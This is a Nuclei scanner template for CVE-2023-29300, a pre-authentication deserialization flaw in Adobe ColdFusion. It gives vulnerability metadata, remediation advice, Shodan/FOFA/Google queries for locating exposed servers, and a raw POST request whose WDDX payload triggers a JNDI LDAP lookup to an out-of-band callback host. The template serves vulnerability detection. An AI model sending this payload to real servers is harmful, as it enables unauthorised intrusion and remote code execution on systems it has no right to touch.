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Adobe ColdFusion - Pre-Auth Remote Code Execution

ID: CVE-2023-29300

Severity: critical

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev

Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.

id: CVE-2023-29300
info:
name: Adobe ColdFusion - Pre-Auth Remote Code Execution
author: rootxharsh,iamnoooob,pdresearch
severity: critical
description: |
Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade to Adobe ColdFusion version 2023.0.0.328155 or later to mitigate this vulnerability.
reference:
- https://blog.projectdiscovery.io/adobe-coldfusion-rce/
- https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
- https://github.com/Ostorlab/KEV
- https://github.com/Threekiii/Vulhub-Reproduce
- https://github.com/XRSec/AWVS-Update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-29300
cwe-id: CWE-502
epss-score: 0.9695
epss-percentile: 0.99724
cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: adobe
product: coldfusion
shodan-query:
- http.component:"Adobe ColdFusion"
- http.component:"adobe coldfusion"
- http.title:"coldfusion administrator login"
- cpe:"cpe:2.3:a:adobe:coldfusion"
fofa-query:
- app="Adobe-ColdFusion"
- app="adobe-coldfusion"
- title="coldfusion administrator login"
google-query: intitle:"coldfusion administrator login"
tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev
variables:
callback: "{{interactsh-url}}"
jndi: "ldap%3a//{{callback}}/rcrzfd"
http:
- raw:
- |
POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
- contains(body, "ColdFusion documentation")
condition: and
# digest: 490a004630440220226f279cd2d051901abcb0e141ae298f25746f1fd11e6808ee15fa236303c3910220686d7041cbeff304d6cd6e0c154f09d2e5baf7ce4bd34097108f76ebbf538751:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29300.yaml"

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